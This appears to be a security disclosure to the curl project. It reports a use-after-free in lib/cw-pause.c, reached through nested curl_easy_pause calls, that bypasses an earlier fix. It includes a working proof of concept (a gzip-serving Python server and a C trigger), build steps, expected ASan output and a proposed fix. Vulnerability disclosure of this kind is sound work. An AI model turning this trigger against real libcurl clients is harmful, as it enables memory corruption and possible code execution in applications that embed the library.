curl · Report #4166602
Re-entrant curl_easy_pause UAF in cw-pause
How it was found
Summary
This report is a bypass of the prior fix for the nested curl_easy_pause() re-entrancy issue described in HackerOne report #4102061. The original patch guarded the writer path in lib/cw-out.c by adding a re-entrancy guard around cw_out_flush_chain(), but it did not guard the sibling writer implementation in lib/cw-pause.c.
The vulnerable behavior remains reachable because cw-pause is installed earlier in the writer chain (CURL_CW_BEFORE_DECODE) than the patched cw-out path (CURL_CW_CLIENT). When a write callback returns CURL_WRITEFUNC_PAUSE, libcurl marks the transfer paused and eventually re-enters the flush path. If the callback stack then calls curl_easy_pause(CURLPAUSE_RECV) followed by curl_easy_pause(CURLPAUSE_CONT), the nested continue re-enters the writer stack from the head while the outer frame still holds first = ctx->buf. The nested flush can free or invalidate the same buffer node the outer frame still intends to use. The result is a classic heap use-after-free / double-free in the paused body replay path.
This is not a different bug in a different subsystem; it is the same class of issue as the earlier report, but at a second crash site. The original fix addressed only one writer implementation, leaving the earlier cw-pause flush re-entrancy path intact and therefore bypassing the mitigation.
The issue is reachable from attacker-controlled HTTP content when the server sends a gzip/deflate/brotli/zstd-compressed body and the client code pauses inside a write or debug callback. This is a high-risk memory-corruption condition in a widely used networking library and can lead to corruption of adjacent heap state and potentially arbitrary code execution in the embedding process.
Steps to Reproduce
- Build libcurl from source with ASan enabled, using a tree that includes the prior fix for
cw-outbut still lacks a guard incw-pause. - Start a local HTTP server that serves a gzip-compressed response on 127.0.0.1.
- Compile the standalone PoC below against that local libcurl build.
- The PoC sets
CURLOPT_ACCEPT_ENCODINGtogzip, enables verbose tracing, and registers both aWRITEFUNCTIONand aDEBUGFUNCTION. - In the write callback, the first body chunk returns
CURL_WRITEFUNC_PAUSE. - In the debug callback, when it sees the trace text
PAUSE requested, it callscurl_easy_pause(CURLPAUSE_RECV)and then immediatelycurl_easy_pause(CURLPAUSE_CONT). - The nested continue re-enters the writer stack while the outer flush still holds the same
cw_pause_bufnode, triggering the UAF/double-free. - On ASan builds, this is observed as a heap-use-after-free or double-free in libcurl. On a non-ASan debug build, it generally crashes or aborts in heap management code.
Proof of Concept
gzip_server.py
#!/usr/bin/env python3
import gzip
import http.server
import socketserver
payload = (b'A' * 6000) + b'\n' + (b'B' * 6000)
compressed = gzip.compress(payload)
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
body = compressed
self.send_response(200)
self.send_header('Content-Type', 'text/plain; charset=utf-8')
self.send_header('Content-Encoding', 'gzip')
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt, *args):
pass
if __name__ == '__main__':
print(f'Serving gzip payload ({len(compressed)} compressed bytes) on http://127.0.0.1:18080/')
with socketserver.TCPServer(('127.0.0.1', 18080), Handler) as httpd:
httpd.serve_forever()
poc.c
#include <curl/curl.h>
#include <stdio.h>
#include <string.h>
struct state {
int write_paused;
int nested;
};
static int contains(const char *buf, size_t len, const char *needle) {
size_t n = strlen(needle);
size_t i;
if (len < n)
return 0;
for (i = 0; i <= len - n; ++i) {
if (memcmp(buf + i, needle, n) == 0)
return 1;
}
return 0;
}
static size_t write_cb(char *ptr, size_t size, size_t nmemb, void *userdata) {
struct state *st = (struct state *)userdata;
size_t total = size * nmemb;
if (!st->write_paused) {
st->write_paused = 1;
fprintf(stderr, "[write_cb] returning CURL_WRITEFUNC_PAUSE\n");
return CURL_WRITEFUNC_PAUSE;
}
fwrite(ptr, size, nmemb, stdout);
return total;
}
static int debug_cb(CURL *easy, curl_infotype type, char *data, size_t size,
void *userdata) {
struct state *st = (struct state *)userdata;
if (type == CURLINFO_TEXT && !st->nested) {
const char want[] = "PAUSE requested";
if (contains(data, size, want)) {
st->nested = 1;
fprintf(stderr, "[debug_cb] curl_easy_pause(RECV); curl_easy_pause(CONT)\n");
curl_easy_pause(easy, CURLPAUSE_RECV);
curl_easy_pause(easy, CURLPAUSE_CONT);
}
}
return 0;
}
int main(int argc, char **argv) {
CURL *easy;
CURLcode rc;
const char *url = argc > 1 ? argv[1] : "http://127.0.0.1:18080/";
struct state st = {0, 0};
rc = curl_global_trace("write");
if (rc != CURLE_OK) {
fprintf(stderr, "curl_global_trace failed: %s\n", curl_easy_strerror(rc));
return 1;
}
easy = curl_easy_init();
if (!easy) {
fprintf(stderr, "curl_easy_init failed\n");
return 1;
}
curl_easy_setopt(easy, CURLOPT_URL, url);
curl_easy_setopt(easy, CURLOPT_VERBOSE, 1L);
curl_easy_setopt(easy, CURLOPT_DEBUGFUNCTION, debug_cb);
curl_easy_setopt(easy, CURLOPT_DEBUGDATA, &st);
curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, write_cb);
curl_easy_setopt(easy, CURLOPT_WRITEDATA, &st);
curl_easy_setopt(easy, CURLOPT_ACCEPT_ENCODING, "gzip");
fprintf(stderr, "[main] starting transfer to %s\n", url);
rc = curl_easy_perform(easy);
fprintf(stderr, "[main] curl_easy_perform -> %d (%s)\n", (int)rc,
curl_easy_strerror(rc));
curl_easy_cleanup(easy);
return 0;
}
Build and run
# Terminal 1
python3 gzip_server.py
# Terminal 2
clang -fsanitize=address -g -O1 -I /path/to/libcurl/include \
-o poc poc.c /path/to/libcurl/lib/libcurl.a -lz
ASAN_OPTIONS=detect_leaks=0 ./poc http://127.0.0.1:18080/
Expected output on an affected build:
[write_cb] returning CURL_WRITEFUNC_PAUSE
[debug_cb] curl_easy_pause(RECV); curl_easy_pause(CONT)
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free
...
#0 ... in cw_pause_flush
...
Remediation
The correct fix is to apply the same re-entrancy guard pattern to lib/cw-pause.c that was added to lib/cw-out.c. Specifically, add a per-context flush guard (for example BIT(flushing) or equivalent), short-circuit nested flushes before touching ctx->buf, and force the outer loop to re-evaluate state after a nested callback returns instead of assuming the current node is still valid.
A more robust long-term fix is to enforce re-entrancy protection once at the writer-stack level, in Curl_cwriter_flush() / Curl_cwriter_unpause(), so future writers cannot reintroduce the same bug clas
Impact
The issue is exploitable from a hostile or compromised HTTP server that can legitimately serve gzip/deflate/brotli/zstd-compressed content. A client application that uses a write or debug callback and calls curl_easy_pause() inside that callback is vulnerable. Heap use-after-free or double-free in libcurl can corrupt adjacent memory and may enable remote code execution in the embedding application.
This is particularly important for software that accepts untrusted HTTP responses, including proxies, download managers, security tooling, and SDKs that rely on libcurl for network I/O. The impact is equivalent to the original vulnerability class, but it bypasses the fix for the earlier report by reintroducing the same flaw in the sibling pause writer.